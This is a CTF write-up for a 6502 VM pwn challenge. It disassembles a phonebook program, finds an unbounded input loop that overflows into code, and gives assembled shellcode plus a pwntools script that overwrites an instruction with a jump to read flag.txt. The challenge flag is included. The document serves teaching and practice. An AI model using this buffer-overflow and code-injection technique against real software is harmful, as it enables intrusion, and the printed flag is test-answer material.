# 1337UP LIVE CTF 2023
## Seahorse Hide'n'Seek
> I had to remove my new debugging functionality due to recent events. The good news is, our kernal is back! ??> > Hint: the flag is in flag.txt>> Author: DavidP, 0xM4hm0ud> > [`seahorse.zip`](https://raw.githubusercontent.com/D13David/ctf-writeups/main/1337uplive/pwn/seahorse_hide_n_seek/seahorse.zip)
Tags: _pwn_
## Solution
For this challenge we again have the `6502 vm` and a program. It's the code for a simple `phonebook manager application`. The user can insert contacts and print the list of recorded contacts.
```bash=== Telephone Manager 1982 ===1. add entry2. list entries3. exit1enter first name: Helloenter last name: Worldenter phone: 999999new record added
1. add entry2. list entries3. exit1enter first name: Fooenter last name: Barenter phone: 1337new record added
1. add entry2. list entries3. exit2Hello World 999999Foo Bar 1337
1. add entry2. list entries3. exit```
The structure is the same as in the previous challenges. Some data is defined at the top, the code starts at offset `800`. We can disassemble the program with our previously written disassembler or using online tools like [`this`](https://www.masswerk.at/6502/disassembler.html). The disassembly is quite big, but we can split functionality roughly by following `RTS` mnemonics. First off, there are a few utility functions:
```bash; subroutine that prints a string to screen; Name 'print'0320 STX fb0322 STY fc0324 LDY ff0326 INY0327 LDA (fb), y0329 JSR ffd2032c BNE f8032e RTS
; subroutine that multiplies two 8 bit values  by; using shift and add algorithmus; Name 'mul8'032f some var0330 some var0331 some var0332 STX c32f0335 STX c3300338 LDA 0033a LDX 8033c LSR c330033f BCC 40341 CLC0342 ADC c32f0345 ROR A0346 ROR c3310349 DEX034a BNE f0034c TAY034d LDA c3310350 TAX0351 RTS
; subroutine that adds a 8 bit value to a 16 bit value; Name 'add16'0352 some var0353 some var0354 some var0355 STX c3530358 STX c354035b STA c352035e CLC035f LDA c3530362 ADC c3520365 TAX0366 BCC 60368 LDA c354036b ADC 0036d TAY036e RTS```
Afterwards comes the main menu subroutine. Here the menu options are printed and the user input is read. Depending on the user input the associated subroutines are called.
```bash; Name 'main_menu'036f some var0370 LDX 68             ; LDX/LDY hold hi and lo byte of menu string0372 LDY c20374 JSR c320           ; jump to 'print'0377 JSR ffcf           ; read input via CHRIN (ffcf) kernal routine from keyboard037a CMP d037c BEQ a037e CMP a0380 BEQ 6              ; check if user pressed return 0382 STA c36f           ; if not, save current key0385 JMP c377           ; and jump back to menu read input start0388 LDA c36f038b CMP 31             ; compare last pressed key (before return key)038d BEQ 12             ; and jump forward depending if user pressed038f CMP 32             ; 1, 2 or 30391 BEQ 140393 CMP 330395 BEQ 160397 LDX d4             ; if user input was not valid print a invalid0399 LDY c2             ; input message 'invalid input...' and jump back to main menu start039b JSR c320039e JMP c37003a1 JSR c3b0           ; jump to add_entry subroutine03a4 JMP c37003a7 JSR c428           ; jump to list_all subroutine03aa JMP c37003ad RTS```
Next up comes a subroutine that is jumped to when the user presses '1' in the main menu, so here is adding new records handled. There is a large amount of repetitive code that prints a input prompt and then reads user input.
```bash; Name 'add_entry'03ae some var03af some var03b0 LDA c003           ; c003 stores number of entries03b3 CMP a              ; compare with max entries (10)03b5 BMI 8              ; if less than max entries jump forward03b7 LDX e7             ; otherwise print error message 'your phonebook is full03b9 LDY c203bb JSR c32003be RTS
03bf LDX c003           ; load number of entries03c2 LDY 3a             ; load entry size03c4 JSR c332           ; call mul803c7 STX c3ae           ; store result of num_entries * ENTRY_SIZE03ca STX c3af
03cd LDA 4              ; add offset to address where the phonebook records03cf ADC c3ae           ; should be stored. all in all we calculate03d2 STA c3ae           ; record_ptr = &buffer[num_entries * ENTRY_SIZE]03d5 LDA c003d7 ADC c3af03da STA c3af
03dd LDX 8e             ; print message 'enter first name: '03df LDY c203e1 JSR c32003e4 LDX c3ae           ; fetch pointer to current record03e7 LDY c3af03ea LDA 003ec JSR c355           ; add field offset (first field = offset 0)03ef JSR c49b           ; jump to 'user_input' subroutine
03f2 LDX a1             ; as above but for field 'last name', the field03f4 LDY c2             ; offset is '19' here so we write to03f6 JSR c320           ; ptr_last_name = &record_ptr[0x19]03f9 LDX c3ae03fc LDY c3af03ff LDA 190401 JSR c3550404 JSR 
0407 LDX b3             ; as above but for field 'phone number', the field0409 LDY c2             ; offset is '32' here so we write to040b JSR c320           ; ptr_phone_number = &record_ptr[0x32]040e LDX c3ae0411 LDY c3af0414 LDA 320416 JSR c3550419 JSR c49b
041c INC c003           ; increment number of entries
041f LDX c1             ; print message 'new record added'0421 LDY c20423 JSR c3200426 RTS```
The next subroutine is jumped to when the user presses '2' for listing the phonebook records.
```bash; Name 'list_all'0427 some var0428 LDA 4              ; fetch start of phonebook records buffer042a STA c3ae042d LDA c0042f STA c3af
0432 LDA c003           ; check if num entries is larger than 0, otherwise0435 CMP 00437 BEQ 5a             ; jump to error handler
0439 STA c427           ; store num entries as counter
043c LDX c3ae           ; load buffer address043f LDY c3af0442 LDA 0              ; add offset 0 to address: &buffer[0]0444 JSR c3550447 JSR c320           ; print value stored in field 'first name'044a LDA 20             ; print space044c JSR ffd2
044f LDX c3ae           ; load buffer address0452 LDY c3af0455 LDA 19             ; add offset 19 to address: &buffer[0x19]0457 JSR c355045a JSR c320           ; print value stored in field 'last name'045d LDA 20             ; print space045f JSR ffd2
0462 LDX c3ae           ; load buffer address0465 LDY c3af0468 LDA 32             ; add offset 32 to address: &buffer[0x32]046a JSR c355046d JSR c320           ; print value stored in field 'phone number'0470 LDA a              ; print space0472 JSR ffd2
0475 LDX c3ae           ; move buffer base pointer to start of next record0478 LDY c3af047b LDA 3a047d JSR c3550480 STX c3ae0483 STX c3af
0486 DEC c427           ; decrement counter and0489 BNE b1             ; jump back if not reached 0
048b LDA a048d JSR ffd2           ; print additional new line and jump out of method0490 JMP c49a
0493 LDX 0              ; error handler, print 'your phonebook has no records'0495 LDY c30497 JSR c320
049a RTS```
The last subroutine is used to read user input.
```bash; Name 'user_input'049b STX fb049d STY fc049f LDY 004a1 JSR ffcf           ; read next character
04a4 CMP d04a6 BEQ 1004a8 CMP a04aa BEQ c              ; check if user pressed 'return'
04ac STA (fb), y        ; store character to address stored in $fb:$fc + value in register Y04ae INY                ; inc Y to move to next character04af BNE f0             ; of Y is zero the 8 bit range wrapped around04b1 INC fc             ; and we need to increment the high byte of the address 04b3 LDY 004b5 JMP c4a104b8 RTS```
The last part can be considered the 'main' function. it only prints a `header` and jumps to subroutine `main_menu`.
```bash04b9 LDX 304bb JSR ffc904be LDX 4804c0 LDY c204c2 JSR c32004c5 JSR c370           ; jum to main_menu04c8 RTS```
With all this we know what the program is doing. Inspecting a bit closer we can find a vulnerability in `user_input`. The subroutine reads until either a `new line` or `carriage return` character was read. This will happily accept any number of characters and write the characters to memory, eventually overflowing the buffer. But how can we use this?
We can see that the `buffer` is located near the base address and before the code starts. This gives us the oportunity to override the program code and replace it with our own shellcode. 
Since we know the flag is located in a file we have to read the contents. Commodore 64 provided some [`kernal routines`](https://sta.c64.org/cbm64krnfunc.html) for file IO: `SETLFS`, `SETNAM`, `LOAD`. Thankfully the vm supports these routines, so we can write a small program that reads `flag.txt` and prints the content to screen. To assemble the code we can use for instance [`this online assembler`](https://www.masswerk.at/6502/assembler.html).
```bash
; kernal subroutinesSETLFS      = $FFBASETNAM      = $FFBDLOAD        = $FFD5CHROUT      = $FFD2
; store address to string for print subroutineSTRLO       = $FBSTRHI       = $FC
NAMELEN     = 9
* = $c036
            jmp     start
filename    .ASCII "flag.txt"             .BYTE 0buffer      .REPEAT 42 .BYTE 0
* = $c099start       lda     #NAMELEN            ldx     #<filename            ldy     #>filename            jsr     SETNAM
            lda     #01            ldx     $ba            bne     skip            ldx     #$08skip        ldy     #00            jsr     SETLFS
            ldx     #<buffer            ldy     #>buffer            lda     #00            jsr     LOAD            bcs     exit
            lda     #<buffer            sta     STRLO            lda     #>buffer            sta     STRHI            ldy     #$ffl0          iny            lda     (STRLO),Y            jsr     CHROUT            bne     l0
exit        rts```
One minor thing to note is that the program is not loaded to the default base address `0xc000` but to `0xc036` since we enter the program as `phone number` when creating a new contact and the offset of the phone number of the first entry is located at this address (`3 byte for jump to program start + 25 bytes for first name + 25 bytes for last name`). Next we need to find a place where we can redirect the program flow.
If we assemble this and pass it to the program nothing exciting is happening. This is since we overflow our record but we don't overflow the buffer containing all records. To check if our idea is working we can just add a lot of random bytes and see when the program is crashing. Since it's crashing at a certain point we know we ideed can override the loaded program bytecodes. Now we only need to see how we can redirect the program flow to our shellcode. If we check out the code that reads the phone number we see the following:
```bash0407 LDX b30409 LDY c2040b JSR c320040e LDX c3ae0411 LDY c3af0414 LDA 320416 JSR c3550419 JSR c49b           ; jump to 'user_input' where our code is read                        ; after all input is send the program returns from the                        ; subroutine and picks up flow at address $c41c
041c INC c003           ; increment number of entries```
We could redirect the program flow by overriding `INC c003` with a jump to our shellcode (`JMP c036`). We can see in our disassembly that the opcode is located at offset `c41c` so we padd our shellcode with a lot of `NOP` until reaching the `INC` and then emitting our instruction to jump back to our shellcode start.
Putting it to work we can write a small python script that automates the progress:
```pythonfrom pwn import *
shellcode = [0x4C, 0x6C, 0xC0, 0x66, 0x6C, 0x61, 0x67, 0x2E, 0x74, 0x78, 0x74, 0x00,             0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,             0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,             0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,             0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xA9, 0x09, 0xA2, 0x39, 0xA0, 0xC0,             0x20, 0xBD, 0xFF, 0xA9, 0x01, 0xA6, 0xBA, 0xD0, 0x02, 0xA2, 0x08, 0xA0,             0x00, 0x20, 0xBA, 0xFF, 0xA2, 0x42, 0xA0, 0xC0, 0xA9, 0x00, 0x20, 0xD5,             0xFF, 0xB0, 0x12, 0xA9, 0x42, 0x85, 0xFB, 0xA9, 0xC0, 0x85, 0xFC, 0xA0,             0xFF, 0xC8, 0xB1, 0xFB, 0x20, 0xD2, 0xFF, 0xD0, 0xF8, 0x60]
payload = bytes(shellcode)payload += (0x41c-0xa0) * b"\xea"   # padd to reach 'INC c003' instructionpayload += b"\x4c\x36\xc0"          # overriding it with 'JMP c036'
p = process(["runtime", "program.prg"])
p.sendlineafter(b"3. exit\n", b"1")p.sendlineafter(b"enter first name: ", b"")p.sendlineafter(b"enter last name: ", b"")p.sendlineafter(b"enter phone: ", payload)print(p.readall())```
Running this, will give us the flag.
```bash$ python solve.py[+] Opening connection to localhost on port 54321: Done[+] Receiving all data: Done (85B)[*] Closed connection to localhost port 54321b'\x00INTIGRITI{1nj3c71n6_5h3llc0d3_1n_7h3_805}\x00INTIGRITI{1nj3c71n6_5h3llc0d3_1n_7h3_805}\x00'```
Flag `INTIGRITI{1nj3c71n6_5h3llc0d3_1n_7h3_805}`